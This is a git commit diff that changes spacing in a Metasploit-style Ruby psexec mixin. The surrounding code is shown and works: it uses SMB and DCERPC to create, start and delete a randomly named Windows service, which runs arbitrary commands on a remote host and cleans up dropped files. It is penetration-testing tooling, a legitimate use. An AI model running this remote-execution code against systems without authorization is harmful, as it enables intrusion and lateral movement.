Cleaned up some code spacing
parent
a2f66a8fef
commit
81625121f2
|
@ -13,6 +13,7 @@ module Exploit::Remote::Psexec
|
||||||
include Msf::Exploit::Remote::DCERPC
|
include Msf::Exploit::Remote::DCERPC
|
||||||
include Msf::Exploit::Remote::SMB
|
include Msf::Exploit::Remote::SMB
|
||||||
|
|
||||||
|
|
||||||
# Retrives output from the executed command
|
# Retrives output from the executed command
|
||||||
# @param smbshare [String] The SMBshare to connect to. Usually C$
|
# @param smbshare [String] The SMBshare to connect to. Usually C$
|
||||||
# @param ip [IP Address] Remote Host to Connect To
|
# @param ip [IP Address] Remote Host to Connect To
|
||||||
|
@ -21,7 +22,6 @@ module Exploit::Remote::Psexec
|
||||||
# @return output or nil if fails
|
# @return output or nil if fails
|
||||||
def get_output(smbshare, ip, file)
|
def get_output(smbshare, ip, file)
|
||||||
begin
|
begin
|
||||||
print_status("Getting the command output...")
|
|
||||||
simple.connect("\\\\#{ip}\\#{smbshare}")
|
simple.connect("\\\\#{ip}\\#{smbshare}")
|
||||||
outfile = simple.open(file, 'ro')
|
outfile = simple.open(file, 'ro')
|
||||||
output = outfile.read
|
output = outfile.read
|
||||||
|
@ -42,14 +42,11 @@ module Exploit::Remote::Psexec
|
||||||
# @param command [String] Should be a valid windows command
|
# @param command [String] Should be a valid windows command
|
||||||
# @return true if everything wen't well
|
# @return true if everything wen't well
|
||||||
def psexec(command)
|
def psexec(command)
|
||||||
|
|
||||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
|
|
||||||
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
|
||||||
vprint_status("#{peer} - Binding to #{handle} ...")
|
vprint_status("#{peer} - Binding to #{handle} ...")
|
||||||
dcerpc_bind(handle)
|
dcerpc_bind(handle)
|
||||||
vprint_status("#{peer} - Bound to #{handle} ...")
|
vprint_status("#{peer} - Bound to #{handle} ...")
|
||||||
|
|
||||||
vprint_status("#{peer} - Obtaining a service manager handle...")
|
vprint_status("#{peer} - Obtaining a service manager handle...")
|
||||||
scm_handle = nil
|
scm_handle = nil
|
||||||
stubdata =
|
stubdata =
|
||||||
|
@ -63,16 +60,13 @@ module Exploit::Remote::Psexec
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
servicename = Rex::Text.rand_text_alpha(11)
|
servicename = Rex::Text.rand_text_alpha(11)
|
||||||
displayname = Rex::Text.rand_text_alpha(16)
|
displayname = Rex::Text.rand_text_alpha(16)
|
||||||
holdhandle = scm_handle
|
holdhandle = scm_handle
|
||||||
svc_handle = nil
|
svc_handle = nil
|
||||||
svc_status = nil
|
svc_status = nil
|
||||||
|
|
||||||
stubdata =
|
stubdata =
|
||||||
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
|
scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
|
||||||
|
|
||||||
NDR.long(0x0F01FF) + # Access: MAX
|
NDR.long(0x0F01FF) + # Access: MAX
|
||||||
NDR.long(0x00000110) + # Type: Interactive, Own process
|
NDR.long(0x00000110) + # Type: Interactive, Own process
|
||||||
NDR.long(0x00000003) + # Start: Demand
|
NDR.long(0x00000003) + # Start: Demand
|
||||||
|
@ -96,18 +90,15 @@ module Exploit::Remote::Psexec
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Closing service handle...")
|
vprint_status("#{peer} - Closing service handle...")
|
||||||
begin
|
begin
|
||||||
response = dcerpc.call(0x0, svc_handle)
|
response = dcerpc.call(0x0, svc_handle)
|
||||||
rescue ::Exception
|
rescue ::Exception
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Opening service...")
|
vprint_status("#{peer} - Opening service...")
|
||||||
begin
|
begin
|
||||||
stubdata =
|
stubdata =
|
||||||
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
|
scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
|
||||||
|
|
||||||
response = dcerpc.call(0x10, stubdata)
|
response = dcerpc.call(0x10, stubdata)
|
||||||
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
|
||||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||||
|
@ -116,7 +107,6 @@ module Exploit::Remote::Psexec
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Starting the service...")
|
vprint_status("#{peer} - Starting the service...")
|
||||||
stubdata =
|
stubdata =
|
||||||
svc_handle + NDR.long(0) + NDR.long(0)
|
svc_handle + NDR.long(0) + NDR.long(0)
|
||||||
|
@ -128,7 +118,6 @@ module Exploit::Remote::Psexec
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Removing the service...")
|
vprint_status("#{peer} - Removing the service...")
|
||||||
stubdata =
|
stubdata =
|
||||||
svc_handle
|
svc_handle
|
||||||
|
@ -139,19 +128,18 @@ module Exploit::Remote::Psexec
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("#{peer} - Closing service handle...")
|
vprint_status("#{peer} - Closing service handle...")
|
||||||
begin
|
begin
|
||||||
response = dcerpc.call(0x0, svc_handle)
|
response = dcerpc.call(0x0, svc_handle)
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("#{peer} - Error: #{e}")
|
print_error("#{peer} - Error: #{e}")
|
||||||
end
|
end
|
||||||
|
|
||||||
select(nil, nil, nil, 1.0)
|
select(nil, nil, nil, 1.0)
|
||||||
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# This method is called by file_dropper to remove files droped
|
# This method is called by file_dropper to remove files droped
|
||||||
# By your module
|
# By your module
|
||||||
#
|
#
|
||||||
|
@ -166,6 +154,7 @@ module Exploit::Remote::Psexec
|
||||||
psexec(delete)
|
psexec(delete)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# This method stores files in an Instance array
|
# This method stores files in an Instance array
|
||||||
# The files are then deleted from the remote host once
|
# The files are then deleted from the remote host once
|
||||||
# the cleanup_after method is called
|
# the cleanup_after method is called
|
||||||
|
@ -178,6 +167,7 @@ module Exploit::Remote::Psexec
|
||||||
@dropped_files += file
|
@dropped_files += file
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
# This method removes any files that were dropped on the remote system
|
# This method removes any files that were dropped on the remote system
|
||||||
# and marked with the register_file_for_cleanup method
|
# and marked with the register_file_for_cleanup method
|
||||||
def cleanup_after
|
def cleanup_after
|
||||||
|
|
Loading…
Reference in New Issue